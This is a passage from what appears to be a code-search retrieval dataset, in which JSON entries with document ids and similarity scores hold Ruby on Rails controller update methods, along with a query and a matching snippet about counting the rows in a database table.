:unprocessable_entity\n end\n else\n respond_to do |format|\n if @investigation.update_attributes(params[:investigation])\n flash[:notice] = \"#{Investigation.display_name} was successfully updated.\"\n format.html { redirect_to(@investigation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @investigation.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "9ab2e76eabb9eaf35ff9ec1f19e1ce33",
"score": "0.6141667",
"text": "def update\n @type_intervenant = TypeIntervenant.find(params[:id])\n\n respond_to do |format|\n if @type_intervenant.update_attributes(params[:type_intervenant])\n format.html { redirect_to(@type_intervenant, :notice => 'Type intervenant was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@type_intervenant}}\n \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @type_intervenant.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8a039895a87f0d9c7ed7acff3d34e29e",
"score": "0.61409515",
"text": "def update\n respond_to do |format|\n if @itinerary_type.update(itinerary_type_params)\n format.html { redirect_to @itinerary_type, notice: 'Tipo de itinerário actualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @itinerary_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7248a7c962b6d41bda4797821f6c8270",
"score": "0.61374944",
"text": "def update\n respond_to do |format|\n if @individual_portfolio_investment.update(individual_portfolio_investment_params)\n format.html { redirect_to @individual_portfolio_investment, notice: 'Individual portfolio investment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @individual_portfolio_investment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e930c7c91182d5462367403102107061",
"score": "0.61338085",
"text": "def update\n @institutions_type = InstitutionsType.find(params[:id])\n\n respond_to do |format|\n if @institutions_type.update_attributes(params[:institutions_type])\n format.html { redirect_to @institutions_type, notice: 'Institutions type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @institutions_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb7d4d66a64edb99736aa3f3270f4803",
"score": "0.61315143",
"text": "def update\n respond_to do |format|\n if @issue_type.update(issue_type_params)\n format.html { redirect_to @issue_type, notice: 'Issue type was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_type }\n else\n format.html { render :edit }\n format.json { render json: @issue_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "767e1aff8cb55880d1786878b7689df0",
"score": "0.6100036",
"text": "def update\n respond_to do |format|\n if @instrument_type.update(instrument_type_params)\n format.html { redirect_to @instrument_type, notice: 'Instrument type was successfully updated.' }\n format.json { render :show, status: :ok, location: @instrument_type }\n else\n format.html { render :edit }\n format.json { render json: @instrument_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fbfb15b3151b1fb3b9fe92561c5e71a2",
"score": "0.60989",
"text": "def update\n @interview_type = InterviewType.find(params[:id])\n\n respond_to do |format|\n if @interview_type.update_attributes(user_params)\n format.html { redirect_to @interview_type, notice: 'Interview type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interview_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fadf5d43d215ffc6dc22b9fdc0f4fc75",
"score": "0.6098472",
"text": "def update\n respond_to do |format|\n if @investment.update(investment_params)\n format.html { redirect_to @investment, notice: 'Investment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @investment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fadf5d43d215ffc6dc22b9fdc0f4fc75",
"score": "0.6098472",
"text": "def update\n respond_to do |format|\n if @investment.update(investment_params)\n format.html { redirect_to @investment, notice: 'Investment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @investment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "043332eb9f661c0f045c80301da682d9",
"score": "0.6093123",
"text": "def update\n @personality_type = PersonalityType.find(params[:id])\n respond_to do |format|\n if @personality_type.update_attributes(params[:personality_type])\n format.html { redirect_to personality_types_url, :notice => 'PersonalityType was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => 'edit' }\n format.json { render :json => @personality_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5420e57e859455455de6b70c823f9ad",
"score": "0.6088044",
"text": "def update\n respond_to do |format|\n if @assessment_type.update(assessment_type_params)\n format.html { redirect_to @assessment_type, notice: 'Assessment type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @assessment_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "02bc216f762a242e721daa822bcbedb3",
"score": "0.60805106",
"text": "def update\n\n @surgery_type.surgery_recipe_reqs\n respond_to do |format|\n if @surgery_type.update(surgery_type_params)\n redirect_to root_path\n else\n format.html { render :edit }\n format.json { render json: @surgery_type.errors, status: :unprocessable_entity }\n end\n end\n # @surgery_type.surgery_recipe_reqs.where(supply_list_id: params[:id]).each do |srr|\n # srr.update!(qty: params[:surgery_recipe_req][:qty])\n # end\n end",
"title": ""
},
{
"docid": "00e78f549976a03f8bbefb0a802ff425",
"score": "0.6079923",
"text": "def update\n respond_to do |format|\n if @api_v1_initiative_expense.update(api_v1_initiative_expense_params)\n format.html { redirect_to @api_v1_initiative_expense, notice: 'Initiative expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_expense }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b36a61097277c4c00db9b571e4bd55cd",
"score": "0.60797894",
"text": "def update\n respond_to do |format|\n if @responsibility_type.update(responsibility_type_params)\n format.html { redirect_to @responsibility_type, notice: 'Responsibility type was successfully updated.' }\n format.json { render :show, status: :ok, location: @responsibility_type }\n else\n format.html { render :edit }\n format.json { render json: @responsibility_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "275972e96dd47e80d06604a3c25677ea",
"score": "0.6074027",
"text": "def update\n respond_to do |format|\n if @expensetype.update(expensetype_params)\n format.html { redirect_to @expensetype, notice: 'Expensetype was successfully updated.' }\n format.json { render :show, status: :ok, location: @expensetype }\n else\n format.html { render :edit }\n format.json { render json: @expensetype.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e0cc2ffc2d9eaebbb41eec0e15b75891",
"score": "0.60579807",
"text": "def update\n respond_to do |format|\n if @line_investigation.update(line_investigation_params)\n format.html { redirect_to '/lineas_programa' , notice:\"Modificacion exitosa.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_investigation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b60525837313cd236331d44018c97863",
"score": "0.6053711",
"text": "def update\n respond_to do |format|\n if @regiment.update(regiment_params)\n update_regiment_exercises\n format.html { redirect_to @regiment, notice: 'Regiment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @regiment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c0fcaa89a4051b3a4feb830861515f23",
"score": "0.60486364",
"text": "def update\n respond_to do |format|\n if @payout_type.update(payout_type_params)\n format.html { redirect_to @payout_type, notice: 'Payout type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @payout_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4de628b0933dc3e11f9c03f8980d9536",
"score": "0.6048311",
"text": "def update\n @industry = Industry.find(params[:id])\n\n respond_to do |format|\n if @industry.update_attributes(params[:industry])\n format.html { redirect_to @industry, notice: 'Industry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @industry.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d70a96a20069d54b6761f6d14493661a",
"score": "0.60473496",
"text": "def update\n respond_to do |format|\n if @investment.update(investment_params_update)\n format.html { redirect_to investments_path, notice: 'Investment was successfully updated.' }\n else\n format.html { render :edit }\n format.json { render json: @investment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4cf4099e532bf79be32896520e049f68",
"score": "0.6045113",
"text": "def update\n authorize! :update, CompetenceTier\n \n @competence_tier.update!(competence_tier_params)\n render json: {status: :ok}\n end",
"title": ""
},
{
"docid": "6721740f4224cc3e98242ee9167e8cd0",
"score": "0.6038951",
"text": "def update\n respond_to do |format|\n if @offense_type.update(offense_type_params)\n format.html { redirect_to @offense_type, notice: 'Offense type was successfully updated.' }\n format.json { render :show, status: :ok, location: @offense_type }\n else\n format.html { render :edit }\n format.json { render json: @offense_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f4ee6958d780ef9cbc3ebb048c59778",
"score": "0.6038704",
"text": "def update\n respond_to do |format|\n if @invest.update(invest_params)\n format.html { redirect_to @invest, notice: 'Invest was successfully updated.' }\n format.json { render :show, status: :ok, location: @invest }\n else\n format.html { render :edit }\n format.json { render json: @invest.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ad267f56a1f2af9c5a9e55de837963d",
"score": "0.6031463",
"text": "def update\n @industry = Industry.find(params[:id])\n\n respond_to do |format|\n if @industry.update_attributes(params[:industry])\n format.html { redirect_to @industry, notice: 'Industry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @industry.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96f4cdf7e34ff9617f8ae66f0efd8254",
"score": "0.60305566",
"text": "def update\n respond_to do |format|\n if @incidence_type.update(incidence_type_params)\n format.html { redirect_to @incidence_type, notice: 'Incidence type ha sido actualizado.' }\n format.json { render :show, status: :ok, location: @incidence_type }\n else\n format.html { render :edit }\n format.json { render json: @incidence_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "acc2a0f43a36dea0cee3be9e271569e4",
"score": "0.6025446",
"text": "def update\n @investor = Investor.find(params[:id])\n\n respond_to do |format|\n if @investor.update_attributes(params[:investor])\n format.html { redirect_to @investor, notice: 'Investor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @investor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "acc2a0f43a36dea0cee3be9e271569e4",
"score": "0.6025446",
"text": "def update\n @investor = Investor.find(params[:id])\n\n respond_to do |format|\n if @investor.update_attributes(params[:investor])\n format.html { redirect_to @investor, notice: 'Investor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @investor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8df2a3e2dbe741d9f1e1ee5ba3ae6a46",
"score": "0.6024726",
"text": "def update\n respond_to do |format|\n if @tracing_type.update(tracing_type_params)\n format.html { redirect_to @tracing_type, notice: 'Tracing type was successfully updated.' }\n format.json { render :show, status: :ok, location: @tracing_type }\n else\n format.html { render :edit }\n format.json { render json: @tracing_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "548ba1babbcdb78511c04a317bf5c979",
"score": "0.60212827",
"text": "def update\n json_update(factType,factType_params, FactType)\n end",
"title": ""
},
{
"docid": "06f2eb8f29a8715a41db2fb8313cdc57",
"score": "0.60212255",
"text": "def update\n @solution = Solution.find(params[:id])\n\n respond_to do |format|\n if @solution.update_attributes(params[:solution])\n @solution.update_attribute(:solution_type_id,params[:industry])\n flash[:notice] = 'solution was successfully updated.'\n format.html { redirect_to :action => 'show', :id => @solution.id }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @solution.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4f5faca6893906befa9bca62a653619b",
"score": "0.6000017",
"text": "def update\n respond_to do |format|\n if @investigation_project.update(investigation_project_params)\n format.html { redirect_to @investigation_project, notice: 'Investigation project was successfully updated.' }\n format.json { render :show, status: :ok, location: @investigation_project }\n else\n format.html { render :edit }\n format.json { render json: @investigation_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0461860efdb66c6e4719ea59a0c5bdea",
"score": "0.59974736",
"text": "def update\n @punch_type = PunchType.find(params[:id])\n\n respond_to do |format|\n if @punch_type.update_attributes(params[:punch_type])\n format.html { redirect_to @punch_type, notice: 'Punch type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @punch_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f4844c2e979c94fdcef7b4c28a43ed32",
"score": "0.5993591",
"text": "def update\n @patient = Patient.find(params[:patient_id])\n @patient_injury = @patient.patient_injuries.find(params[:id])\n @patient_injury.updated_user = current_user.login_name\n \n respond_to do |format|\n if @patient_injury.update_attributes(params[:patient_injury])\n format.html { redirect_back_or_default patient_patient_injuries_path(params[:patient_id]), notice: 'Patient history was successfully updated.' }\n format.json { head :no_content }\n else\n @accident_types = AccidentType.all\n format.html { render action: \"edit\" }\n format.json { render json: @patient_injury.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "15706849f3bf7fef778a256423b0714d",
"score": "0.59919953",
"text": "def update\n @incident_investigator = IncidentInvestigator.find(params[:id])\n\n respond_to do |format|\n if @incident_investigator.update_attributes(params[:incident_investigator])\n format.html { redirect_to @incident_investigator, notice: 'Incident investigator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incident_investigator.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7453c251c50d86f30450c936d6d6d081",
"score": "0.59858865",
"text": "def update\n @vital = Vital.find(params[:id])\n\n respond_to do |format|\n if @vital.update_attributes(params[:vital])\n format.html { redirect_to @vital, notice: 'Vital was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vital.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "395747273d7a70715364bc1061fd1ee0",
"score": "0.59738415",
"text": "def update\n respond_to do |format|\n if @investor.update(investor_params)\n format.html { redirect_to @investor, notice: \"Investor was successfully updated.\" }\n format.json { render :show, status: :ok, location: @investor }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @investor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d7326874fccc5b091144ed3a1d489d2d",
"score": "0.5972477",
"text": "def update\n respond_to do |format|\n if @pit_type.update(pit_type_params)\n format.html { redirect_to @pit_type, notice: 'Pit type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pit_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c49bb18a9d19fd19fb827a659ef10d6e",
"score": "0.5970804",
"text": "def update\n @expense_type = ExpenseType.find(params[:id])\n\n respond_to do |format|\n if @expense_type.update_attributes(params[:expense_type])\n format.html { redirect_to @expense_type, notice: 'Expense type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f14c829e71d954536d9ead92f90abf26",
"score": "0.5968471",
"text": "def update\n @consultation_type = ConsultationType.find(params[:id])\n\n respond_to do |format|\n if @consultation_type.update_attributes(params[:consultation_type])\n format.html { redirect_to @consultation_type, notice: 'Consultation type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @consultation_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d94dcd3d13ee1c127551d66862d9d1db",
"score": "0.5968462",
"text": "def update\n @interview_type.update(interview_type_params)\n @interview_types = InterviewType.all\n @interview_type = InterviewType.new\n end",
"title": ""
},
{
"docid": "c5362608a0baf0aeecd16b827cd5fcb7",
"score": "0.5965686",
"text": "def update\n respond_to do |format|\n if @investor.update(investor_params)\n format.html { redirect_to @investor, notice: 'Investor was successfully updated.' }\n format.json { render :show, status: :ok, location: @investor }\n else\n format.html { render :edit }\n format.json { render json: @investor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5362608a0baf0aeecd16b827cd5fcb7",
"score": "0.5965686",
"text": "def update\n respond_to do |format|\n if @investor.update(investor_params)\n format.html { redirect_to @investor, notice: 'Investor was successfully updated.' }\n format.json { render :show, status: :ok, location: @investor }\n else\n format.html { render :edit }\n format.json { render json: @investor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "71e8a78762ad08988f247185ee74bab2",
"score": "0.59641814",
"text": "def update\n respond_to do |format|\n if @assessment_type.update(assessment_type_params)\n format.html { redirect_to @assessment_type, notice: 'Assessment type was successfully updated.' }\n format.json { render :show, status: :ok, location: @assessment_type }\n else\n format.html { render :edit }\n format.json { render json: @assessment_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "65905f6605590c7dc6259460e4e77ad8",
"score": "0.5954967",
"text": "def update\n @incidence_type.code = @incidence_type.code.upcase\n\n respond_to do |format|\n if @incidence_type.update(incidence_type_params)\n format.html { redirect_to incidence_types_path, notice: 'Incidence type was successfully updated.' }\n format.json { render :index, status: :ok, location: @incidence_type }\n else\n format.html { render :edit }\n format.json { render json: @incidence_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9e9d2e29b736a6803306f8510bbd3494",
"score": "0.59428513",
"text": "def update\n respond_to do |format|\n if @vital.update(vital_params)\n format.html { redirect_to @vital, notice: 'Vital was successfully updated.' }\n format.json { render :show, status: :ok, location: @vital }\n else\n format.html { render :edit }\n format.json { render json: @vital.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fda2f324499d0b960fdd79dc1cd288c8",
"score": "0.59379977",
"text": "def update\n respond_to do |format|\n if @experience_type.update(experience_type_params)\n format.html { redirect_to @experience_type, notice: 'Experience type was successfully updated.' }\n format.json { render :show, status: :ok, location: @experience_type }\n else\n format.html { render :edit }\n format.json { render json: @experience_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "29b2f7ddc2064f1853a62daf34963a13",
"score": "0.59136105",
"text": "def update\n respond_to do |format|\n if @reinforcement_type.update(reinforcement_type_params)\n format.html { redirect_to reinforcement_types_path, notice: 'Reinforcement type was successfully updated.' }\n format.json { render :show, status: :ok, location: @reinforcement_type }\n else\n format.html { render :edit }\n format.json { render json: @reinforcement_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b791697d814902c1aa39589a35cf5a88",
"score": "0.59127927",
"text": "def update\n respond_to do |format|\n if @interactions_type.update(interactions_type_params)\n format.html { redirect_to @interactions_type, notice: 'Interactions type was successfully updated.' }\n format.json { render :show, status: :ok, location: @interactions_type }\n else\n format.html { render :edit }\n format.json { render json: @interactions_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6111a27f3f4851391de866ac09bc5641",
"score": "0.5903974",
"text": "def update\n @insured_type = InsuredType.find(params[:id])\n @insured_type.updated_user = current_user.login_name\n \n respond_to do |format|\n if @insured_type.update_attributes(params[:insured_type])\n format.html { redirect_to insured_types_path, notice: 'Insured type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @insured_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4512442c051de6eb15b81ad6c315c5fe",
"score": "0.5901536",
"text": "def update\n respond_to do |format|\n if @inqury.update(inqury_params)\n format.html { redirect_to @inqury, notice: 'Inqury was successfully updated.' }\n format.json { render :show, status: :ok, location: @inqury }\n else\n format.html { render :edit }\n format.json { render json: @inqury.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d8c7076b74dbeb2bc4c0d0bad41d7e43",
"score": "0.59008145",
"text": "def update\n respond_to do |format|\n if @suspension_type.update(suspension_type_params)\n format.html { redirect_to suspension_types_path, notice: 'Suspension type was successfully updated.' }\n format.json { render :show, status: :ok, location: @suspension_type }\n else\n format.html { render :edit }\n format.json { render json: @suspension_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0cf47f9b3676f3ecabfd78d7c13ce4f1",
"score": "0.5900514",
"text": "def update\n @incident_stock_type = IncidentStockType.find(params[:id])\n\n respond_to do |format|\n if @incident_stock_type.update_attributes(params[:incident_stock_type])\n format.html { redirect_to @incident_stock_type, notice: 'Incident stock type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incident_stock_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3a21db6be96c2ac0112d2888e93e7b5",
"score": "0.5896462",
"text": "def update\n respond_to do |format|\n if @type_opinion.update(type_opinion_params)\n format.html { redirect_to @type_opinion }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @type_opinion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1f956a9a8ada0b158912e25bff1ef465",
"score": "0.5896212",
"text": "def update\n @investment = Investment.find(params[:id])\n\n respond_to do |format|\n if @investment.update_attributes(params[:investment])\n format.html { redirect_to @investment, notice: 'Investment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @investment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "421172f5e470927a470ce29d8a15cde9",
"score": "0.58961046",
"text": "def update\n respond_to do |format|\n if @investment.update(investment_params)\n format.html { redirect_to @investment, notice: 'Investment was successfully updated.' }\n format.json { render :show, status: :ok, location: @investment }\n else\n format.html { render :edit }\n format.json { render json: @investment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "388d6fa9322941bce72d565742d814a1",
"score": "0.5895367",
"text": "def update\n @institution_type = InstitutionType.find(params[:id])\n\n respond_to do |format|\n if @institution_type.update_attributes(params[:institution_type])\n format.html { redirect_to @institution_type, notice: 'Institution type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @institution_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d34ed7842e2d5c94af386e819235a0f",
"score": "0.58936083",
"text": "def update\n respond_to do |format|\n if @add_investment.update(add_investment_params)\n format.html {redirect_to edit_user_scenario_path(@user_scenario.id), notice: 'You did it!'}\n format.json { render :show, status: :ok, location: @add_investment }\n format.js {render js: 'window.top.location.reload(true);'}\n else\n format.html { render :edit }\n format.json { render json: @add_investment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "86bc24e3be054e09656ac19104b2887a",
"score": "0.58883715",
"text": "def update\n logger.debug(request.content_type)\n respond_to do |format|\n logger.debug(\"format is \"+format.inspect)\n if @vital.update(vital_params)\n format.html { \n\t logger.debug(\"html format\")\n\t redirect_to @vital, notice: 'Vital was successfully updated.' \n\t}\n format.json { \n\t logger.debug(\"json format\")\n\t render :show, status: :ok, location: @vital \n\t}\n else\n format.html { render :edit }\n format.json { render json: @vital.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6533b32caf8ac57a864dc6973604f733",
"score": "0.5885382",
"text": "def update\n respond_to do |format|\n if @investment.update(investment_params)\n format.html { redirect_to @investment, notice: 'Investment was successfully updated.' }\n format.json { render :show, status: :ok, location: @investment }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @investment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4e285c3fb627cf1cb03f53eef4a6f212",
"score": "0.5883556",
"text": "def update\n respond_to do |format|\n if @risk_mitigation.update(risk_mitigation_params)\n format.html { redirect_to risk_register_risk_mitigations_url, notice: 'Risk mitigation was successfully updated.' }\n format.json { render :show, status: :ok, location: @risk_mitigation }\n else\n format.html { render :edit }\n format.json { render json: @risk_mitigation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4869d17e35da8903af7aaa8e2197db60",
"score": "0.58733875",
"text": "def update\n @skill_type = SkillType.find(params[:id])\n\n if @skill_type.update(skill_type_params)\n head :no_content\n else\n render json: @skill_type.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c388bbe5f483e2a3242a5b232c9d423f",
"score": "0.58698446",
"text": "def update\n respond_to do |format|\n if @refund_type.update(refund_type_params)\n format.html { redirect_to @refund_type, notice: 'Refund type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @refund_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c63ceba46106e8a8d6930c2f71149ccd",
"score": "0.58689475",
"text": "def update\n @nature_of_problem_type = NatureOfProblemType.find(params[:id])\n\n respond_to do |format|\n if @nature_of_problem_type.update_attributes(params[:nature_of_problem_type])\n format.html { redirect_to @nature_of_problem_type, notice: 'Nature of problem type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @nature_of_problem_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "49b02b247a2b01585690c4575f7376f0",
"score": "0.58686113",
"text": "def patch_entity_type(entity_type_id, request)\n start.uri('/api/entity/type')\n .url_segment(entity_type_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .patch()\n .go()\n end",
"title": ""
},
{
"docid": "24176fac2d019bcfc49332ba525cd8f5",
"score": "0.5866634",
"text": "def update\n @injury = Injury.find(params[:id])\n\n respond_to do |format|\n if @injury.update_attributes(params[:injury])\n flash[:notice] = 'Injury was successfully updated.'\n format.html { redirect_to(@injury) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @injury.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "05bf83484c7f8a8e0860879ec120f318",
"score": "0.586636",
"text": "def update\n respond_to do |format|\n if @initiative.update(initiative_params)\n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @initiative }\n else\n format.html { render :edit }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bec5398b84cdc0f77808ca423aa9bb76",
"score": "0.5864044",
"text": "def update\n respond_to do |format|\n if @observation_type.update(observation_type_params)\n format.html { redirect_to @observation_type, notice: 'Observation type was successfully updated.' }\n format.json { render :show, status: :ok, location: @observation_type }\n else\n format.html { render :edit }\n format.json { render json: @observation_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "658e27b559ed02939d0ee5f28180d19c",
"score": "0.58576655",
"text": "def update\n respond_to do |format|\n if @irrigation_project_typology.update(irrigation_project_typology_params)\n format.html { redirect_to @irrigation_project_typology, notice: 'Irrigation project typology was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @irrigation_project_typology.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "607d565cbf130096499194c67b480586",
"score": "0.5853464",
"text": "def update\n respond_to do |format|\n if @investigator.update(investigator_params)\n format.html { redirect_to @investigator, notice: 'Investigator was successfully updated.' }\n format.json { render :show, status: :ok, location: @investigator }\n else\n format.html { render :edit }\n format.json { render json: @investigator.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c33ab0a5adb095dd4bc4e86c21892ff3",
"score": "0.58523935",
"text": "def update\n @investment = Investment.find(params[:id])\n\n respond_to do |format|\n if @investment.update_attributes(params[:investment])\n format.html { redirect_to @investment, notice: 'Investment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @investment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "81b8617fd167409cfa7314c19e231d0a",
"score": "0.5852191",
"text": "def update\n respond_to do |format|\n if @bridge_content_injury.update(bridge_content_injury_params)\n format.html do\n redirect_to [@regular_inspection, @injury, @bridge_content_injury],\n notice: I18n.t('controller.common.success_on_update',\n model_name: BridgeContentInjury.model_name.human)\n end\n format.json { render :show, status: :ok, location: @bridge_content_injury }\n else\n format.html { render :edit }\n format.json { render json: @bridge_content_injury.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
3c792799f4971001692b59103c0bca0a | Gets the number of rows in table 'table_name' This will (obviously) blow up if there is no such table! | [
{
"docid": "d9305f5cb9a5e91fddd7906f15d7ae79",
"score": "0.8293363",
"text": "def get_table_rowcount( table_name )\r\n return execute_scalar( \"select coalesce(count(*), 0) as count from #{table_name};\" )\r\n end",
"title": ""
}
] | [
{
"docid": "b789648210f1d5d6b310be9553b74081",
"score": "0.75932294",
